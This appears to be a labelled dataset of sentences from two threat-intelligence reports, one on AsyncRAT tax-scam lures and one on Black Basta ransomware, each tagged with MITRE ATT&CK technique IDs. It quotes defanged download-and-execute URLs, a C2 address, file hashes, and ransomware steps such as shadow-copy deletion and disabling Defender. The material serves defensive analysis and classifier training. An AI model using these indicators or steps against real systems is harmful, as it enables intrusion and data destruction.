{"sentence": "no.txt contains VBScript code that downloads and executes hxxp://[redacted].67[.]12:222/j[.]png (SHA2: 460d093a55b930e733c60575f82183cd0edd52ec6b927cdb4a93dc5da7f0ac9c), which is a PowerShell script that creates the following files: C:\\ProgramData\\Document\\py.ps1 C:\\ProgramData\\schtasks\\Microsoft.bat C:\\ProgramData\\Document\\x.ps1 The script then runs Microsoft.bat, which uses MSHTA.exe to run PowerShell code to run py.ps1.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The .ps1 file contains two PE files (stored in $apprun and $appme).", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "It uses 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe' to reflectively load $apprun, which then loads $appme, which was identified as an ASync RAT variant that connects to the attacker’s Command-and-Control (C2) server located at nulled2nd[.]camdvr[.]org:6666.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "We also found another .lnk file (SHA2: c0a59b28919282b3c45a9619410ea95e35f86dbf43266e6f9a25b94f5948018b) hidden in TaxReturns2022.pdf.iso (SHA2: ee1299f4e56c7f5af243df63192f1c7574152c0600edc49c37b9f8b703da02f2).", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "This link file goes through the same infection chain as the previous one:", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The link file downloads and executes hxxp://[redacted].67[.]12:222/xa[.]hta xa[.]hta downloads and executes hxxp://[redacted].67[.]12:222/qDxcmqPPmI[.]wsf qDxcmqPPmI.wsf was not available at the time of the investigation.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "However, OSINT led us to find the next action.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "qDxcmqPPmI[.]wsf downloads and executes hxxp://[redacted].67[.]12:222/no[.]txt no[.]txt downloads and executes hxxp://[redacted].67[.]12:222/j[.]png j.png creates py.ps1 and x.ps1.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "It also creates and runs Microsoft.bat Microsoft.bat runs py.ps1, which eventually installs Async RAT on the compromised machine Curiously the attacker left the hosting location of the malicious files wide open.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Figure 10.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Files hosted on the attacker’s open directory", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The directory contains a few files whose names are associated with Adobe Acrobat Reader DC.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "This indicates that the threat actor also leverages Adobe as a lure to install the AsyncRAT variant.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "readerdc64_en_l_cra_mdr_install_update.exe[.]lnk (SHA2: 653fcea661d8f7d996210dcdbcad110f0dcca8e7bbc906bb0a4d12e3ab674483) readerdc64_en_l_cra_mdr_install_update[.]exe (SHA2: 1b012d01c86be5d68959504d362c52170b27d726cf2943e2e0250506a29c765a) – this is a legitimate Adobe Acrobat Reader DC installer.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "reader64[.]hta (SHA2: 3b2e776ab44a711a52de88b02c007897eed137b62ecc7fb51bbb3089941bda1a) readerdc64_en_ka_cra_mdr_install_update[.]wsf (SHA2: d2f0995f9184170386360d5eb5990e38a289052e6a15706613c9568a207da7d7) AsyncRAT contains features designed to steal information from compromised machines and a clipper feature that monitors the clipboard for crypto wallet address swapping, which means victims may end up paying more than their taxes.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "But however potential victims end up with the “TaxReturn2022.img” and “TaxReturns2022.pdf.iso” files on their system, users still need to manually mount them and run the fake PDFs to trigger the infection chain.", "labels": ["T1204.002"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "A little caution can go a long way toward protecting yourself against tax-related malware.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Conclusion The attacks covered in this blog are the tip of the iceberg.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Attackers make every attempt to scam taxpayers for financial gain and data exfiltration for future attacks.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "In the end, those looking to save a dime, in this case, from Uncle Sam, often find that greed endangers them in the cyber world.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "For additional information, please refer to the “Tax Scams/Consumer Alerts” alert issued by the IRS for other tips on protecting yourself from tax-related scams.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Fortinet Protection FortiGuard AntiVirus detects the malicious files identified in this report with the following signatures: JS/Agent.7593!tr JS/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "GDRU!tr LNK/Agent.1eb5!tr.dldr LNK/Agent.3aad!tr.dldr LNK/Agent.412e!tr.dldr LNK/Agent.9982181!tr LNK/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "BF20!tr LNK/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "FF8D!tr PowerShell/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "E67B!tr VBS/Agent.5247!tr.dldr VBS/Agent.9FA6!tr VBS/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "E67C!tr.dldr VBS/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "XAO!tr VBS/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "YNQ!tr VBS/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "YNY!tr.dldr W32/PasswordProtected.829D!tr The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Customers running current AntiVirus updates are protected.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The FortiGuard Web Filtering Service detects the download URLs cited in this report as Malicious and blocks them.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Due to the ease of disruption, damage to daily operations, potential impact to an organization's reputation, and the unwanted destruction or release of PII, etc., it is essential to keep all AV and IPS signatures current.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "IOCs File IOCs: Network IOCs", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Executive Summary Black Basta is ransomware as a service (RaaS) that first emerged in April 2022.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "However, evidence suggests that it has been in development since February.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The Black Basta operator(s) use the double extortion technique, meaning that in addition to encrypting files on the systems of targeted organizations and demanding ransom to make decryption possible, they also maintain a dark web leak site where they threaten to post sensitive information if an organization chooses not to pay ransom.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta affiliates have been very active deploying Black Basta and extorting organizations since the ransomware first emerged.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Although the Black Basta affiliates have only been active for the past couple of months, based on the information posted on their leak site, they have compromised over 75 organizations at the time of this publication.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Unit 42 has also worked on several Black Basta incident response cases.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The ransomware is written in C++ and impacts both Windows and Linux operating systems.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "It encrypts users’ data using a combination of ChaCha20 and RSA-4096, and to speed up the encryption process, the ransomware encrypts in chunks of 64 bytes, with 128 bytes of data remaining unencrypted between the encrypted regions.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The faster the ransomware encrypts, the more systems can potentially be compromised before defenses are triggered.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "It is a key factor affiliates look for when joining a Ransomware-as-a-Service group.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Palo Alto Networks customers receive help with detection and prevention of Black Basta ransomware through the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security services such as WildFire).", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "If you think you may have been impacted by a cyber incident, the Unit 42 Incident Response team is available 24/7/365.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "You can also take preventative steps by requesting any of our cyber risk management services.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Table of Contents Black Basta Overview Black Basta is ransomware as a service (RaaS) that leverages double extortion as part of its attacks.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The attackers not only execute ransomware but also exfiltrate sensitive data and threaten to release it publicly if the ransom demands are not met.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The threat actors behind the ransomware deploy a name-and-shame approach to their victim, where they use a Tor site, Basta News, to list all of the victims who have not paid the ransom.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Although the Black Basta RaaS has only been active for a couple of months, according to its leak site, it had compromised over 75 organizations at the time of this publication.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "At least 20 victims were posted to its leak site in the first two weeks of the ransomware’s operation, which indicates the group likely is experienced in the ransomware business and has a steady source of initial access.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "It is also possible that this is not a new operation but rather a rebrand of a previous ransomware group that brought along their affiliates.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Based on multiple similarities in tactics, techniques and procedures (TTPs) - victim-shaming blogs, recovery portals, negotiation tactics, and how quickly Black Basta amassed its victims - that the Black Basta group could include current or former members of the Conti group.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Unit 42 has observed ​​the Black Basta ransomware group using QBot as an initial point of entry and to move laterally in compromised networks.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "QBot, also known as Qakbot, is a Windows malware strain that started as a banking trojan and evolved into a malware dropper.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "It has been used by other ransomware groups, including MegaCortex, ProLock, DoppelPaymer and Egregor.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "While these ransomware groups used QBot for initial access, the Black Basta group was observed using it for both initial access and to spread laterally throughout the network.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Figure 1 below shows the standard attack lifecycle observed with Black Basta ransomware.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta attack lifecycle based on Unit 42 incident response cases.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Technical Details Black Basta is written in C++ and is cross-platform ransomware that impacts both Windows and Linux systems.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "In June 2022, a VMware ESXi variant of Black Basta was observed targeting virtual machines running on enterprise Linux servers.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The ransomware includes anti-analysis techniques that attempt to detect code emulation or sandboxing to avoid virtual/analysis machine environments.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "It also supports the command line argument -forcepath that is used to encrypt files in a specified directory.", "labels": ["T1059.003"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Otherwise, the entire system, except for certain critical directories, is encrypted.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The ransomware spawns a mutex with a string of dsajdhas.0 to ensure a single instance of the malware is running at a time.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Then it will iterate through the entire file system, encrypting files with a file extension of .basta.", "labels": ["T1083"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta ransomware encrypts users’ data through a combination of ChaCha20 and RSA-4096.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "To speed up the encryption process, the ransomware encrypts in chunks of 64 bytes, with 128 bytes of data remaining unencrypted between the encrypted regions.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The ransomware also attempts to delete shadow copies and other backups of files using vssadmin.exe, a command-line tool that manages Volume Shadow Copy Service (VSS), which captures and copies stable images for backups on running systems.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "It writes the Random-letters.ico and Random-letters.jpg files to the %TEMP% directory.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The .jpg file is leveraged to overwrite the desktop background and appears as follows: Figure 2.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta desktop wallpaper.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "It adds a custom icon to the registry, corresponding to the .basta icon, which is shown in Figure 3.", "labels": ["T1112"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta icon.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "It will then boot the system in safe mode and proceed to encrypt files.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Following successful encryption, the file’s extension is changed to .basta", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "and the ransomware will write numerous instances of readme.txt, which contains the following ransom note: Figure 4.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta ransom note.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Tactics, Techniques and Procedures We have observed Black Basta affiliates leveraging the following TTPs: Tactic / Technique Notes TA0001 Initial Access T1566.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Phishing:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Spear phishing Attachment Victims receive spear phishing emails with attached malicious zip files - typically password protected.", "labels": ["T1566.001"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "That contains malicious doc including .doc, .pdf, .xls TA0002 Execution T1569.002.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "System Services: Service Execution Black Basta has installed and used PsExec to execute payloads on remote hosts.", "labels": ["T1569.002"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "T1047.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Windows Management Instrumentation Utilizes Invoke-TotalExec to push out the ransomware binary. T1059.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Command and Scripting Interpreter:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "PowerShell Black Basta has encoded PowerShell scripts to download additional scripts.", "labels": ["T1027", "T1105"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0003 Persistence T1136.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Create Account Black Basta threat actors created accounts with names such as temp, r, or admin. T1098.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Account Manipulation Added newly created accounts to the administrators' group to maintain elevated access. T1543.003.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Create or Modify System Process:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Windows Service Creates benign-looking services for the ransomware binary. T1574.001.", "labels": ["T1543.003"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Hijack Execution Flow: DLL Search Order Hijacking Black Basta used Qakbot, which has the ability to exploit Windows 7 Calculator to execute malicious payloads.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0004 Privilege Escalation T1484.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Domain Policy Modification:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Group Policy Modification Black Basta can modify group policy for privilege escalation and defense evasion. T1574.001.", "labels": ["T1484.001"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Hijack Execution Flow: DLL Search Order Hijacking Black Basta used Qakbot, which has the ability to exploit Windows 7 Calculator to execute malicious payloads. T1543.003.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Windows Service Creates benign-looking services for the ransomware binary.", "labels": ["T1543.003"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0005 Defense Evasion T1484.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Group Policy Modification Black Basta can modify group policy for privilege escalation and defense evasion. T1218.010.", "labels": ["T1484.001"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "System Binary Proxy Execution: Regsvr32 Black Basta has used regsvr32.exe to execute a malicious DLL. T1070.004.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Indicator Removal on Host: File Deletion Attempts to delete malicious batch files.", "labels": ["T1070.004"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "T1112.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Modify Registry Black Basta makes modifications to the Registry.", "labels": ["T1112"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "T1140.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Deobfuscate/Decode Files or Information Initial malicious .zip file bypasses some antivirus detection due to password protection.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "T1562.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Impair Defenses: Disable or Modify Tools Disables Windows Defender with batch scripts, such as d.bat or defof.bat.", "labels": ["T1059.003", "T1562.001"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "T1562.004.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Impair Defenses: Disable or Modify System Firewall Uses batch scripts, such as rdp.bat or SERVI.bat, to modify the firewall to allow remote administration and RDP.", "labels": ["T1059.003"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "T1562.009.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Impair Defenses: Safe Boot Mode Uses bcdedit to boot the device in safe mode. T1574.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Hijack Execution Flow: DLL Search Order Hijacking Black Basta used Qakbot, which has the ability to exploit Windows 7 Calculator to execute malicious payloads. T1622.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Debugger Evasion Uses IsDebuggerPresent to check if processes are being debugged.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0006 Credential Access T1555.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Credentials from Password Stores Black Basta uses Mimikatz to dump passwords.", "labels": ["T1003.001"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0007 Discovery T1087.002.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Account Discovery: Domain Account Used commands such as net user /domain and net group /domain. T1016.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "System Network Configuration Discovery Lists internal IP addresses to target in C:\\Windows\\pc_list.txt – typically found on the Domain Controller. T1082.", "labels": ["T1016"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "System Information Discovery Uses GetComputerName to query the computer name.", "labels": ["T1082"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "T1622.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0008 Lateral Movement T1021.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Remote Services:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Remote Desktop Protocol Black Basta has used RDP for lateral movement.", "labels": ["T1021.001"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0009 Collection T1560.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Archive Collected Data: Archive via Utility TA0010 Exfiltration T1567.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Exfiltration over Web Service TA0011 Command and Control T1219.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Remote Access Software Black Basta has installed and used legitimate tools such as TeamViewer and AnyConnect on targeted systems. T1573.", "labels": ["T1219"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Encrypted Channel Uses Qakbot primarily and Cobalt Strike.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0040 Impact T1486.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Data Encrypted for Impact Black Basta modifies the Desktop background by adding a .jpg in C:\\Temp and creating a registry key HKCU\\Control Panel\\Desktop.", "labels": ["T1112"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Additionally modifies the registry to change the icon of encrypted files.", "labels": ["T1112"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "It encrypts files excluding those with a .exe, .cmd, .bat and .com extension.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Uses ChaCha20 or RSA-4096 to encrypt victims. T1489.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Service Stop Uses sc stop and taskkill to stop services.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "T1490.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Inhibit System Recovery Black Basta deletes Volume Shadow Copies using vssadmin.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Table 1.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Tactics, techniques and procedures for Black Basta activity.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Victimology", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The ransomware group and its affiliate program reportedly compromised multiple large organizations, in sectors including consumer and industrial products; energy, resources and agriculture; manufacturing; utilities; transportation; government agencies; professional services and consulting; and real estate.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta operators also posted on dark web forums expressing interest in attacking organizations based in Australia, Canada, New Zealand, the U.K. and the U.S. Threat actors using the ransomware impacted organizations based in the U.S., Germany, Switzerland, Italy, France and the Netherlands (listed in descending order by numbers of allegedly breached organizations).", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta post on dark web forums.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The threat actor(s) responsible for Black Basta operate a cybercrime marketplace and victim name-and-shame blog.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "This site is hosted as a Tor hidden service, where the Black Basta ransomware group lists their victims’ names, descriptions, percentage of stolen data which has been published, number of visits and any data exfiltrated.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "There were 75 victims listed on the leak site at the time of writing.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta News site where the threat actors post allegedly breached organizations (details redacted) and number of visits.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Courses of Action Several adversarial techniques were observed in activity associated with Black Basta, and the following measures are suggested within Palo Alto Networks products and services to mitigate threats related to Black Basta ransomware, as well as other malware using similar techniques: Product / Service Course of Action Initial Access", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The below courses of action mitigate the following techniques: Spear Phishing Attachment [T1566.001] THREAT PREVENTION Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure a secure antivirus profile is applied to all relevant security policies NEXT-GENERATION FIREWALLS Set up File Blocking CORTEX XDR PREVENT Configure Malware Security Profile CORTEX XSOAR Deploy XSOAR Playbook – Endpoint Malware Investigation Deploy XSOAR Playbook – Phishing Investigation –", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Generic V2 Execution The below courses of action mitigate the following techniques: Service Execution", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1569.002], Windows Management Instrumentation", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1047], PowerShell [T1059.001] NEXT-GENERATION FIREWALLS Ensure remote access capabilities for the User-ID service account are forbidden.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Ensure that User-ID is only enabled for internal trusted interfaces Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones Ensure that the User-ID service account does not have interactive logon rights Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists Ensure that the User-ID Agent has minimal permissions if User-ID is enabled Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone CORTEX XDR PREVENT Configure Restrictions Security Profile Persistence, Privilege Escalation, Defense Evasion", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The below courses of action mitigate the following techniques: Create Account", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1136], Account Manipulation [T1098], Regsvr32", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1218.010], File Deletion", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1070.004], Disable or Modify Tools [T1562.001], Modify Registry", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1112], Deobfuscate/Decode Files or Information", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1140], Disable or Modify System Firewall", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1562.004], Windows Service [T1543.003], DLL Search Order Hijacking [T1574.001], Group Policy Modification", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1484.001] NEXT-GENERATION FIREWALLS Ensure that the User-ID Agent has minimal permissions if User-ID is enabled Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones Ensure that the User-ID service account does not have interactive logon rights Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure remote access capabilities for the User-ID service account are forbidden.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Ensure that User-ID is only enabled for internal trusted interfaces CORTEX XSOAR Deploy XSOAR Playbook – Access Investigation Playbook Deploy XSOAR Playbook – Block Account Generic Deploy XSOAR Playbook – Impossible Traveler CORTEX XDR PREVENT Configure Host Firewall Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Malware Protection Credential Access The below courses of action mitigate the following techniques: Credentials from Password Stores [T1555] CORTEX XDR Cortex XDR monitors for behavioral events and files associated with credential access and exfiltration Discovery", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The below courses of action mitigate the following techniques: System Network Configuration Discovery [T1016],", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "System Information Discovery [T1082], Domain Account", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1087.002] CORTEX XDR Cortex XDR monitors for behavioral events along a causality chain to identify discovery behaviors Lateral Movement", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The below courses of action mitigate the following techniques: Remote Desktop Protocol", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "[T1021.001] NEXT-GENERATION FIREWALLS Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure remote access capabilities for the User-ID service account are forbidden Ensure that the User-ID Agent has minimal permissions if User-ID is enabled Ensure that User-ID is only enabled for internal trusted interfaces Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
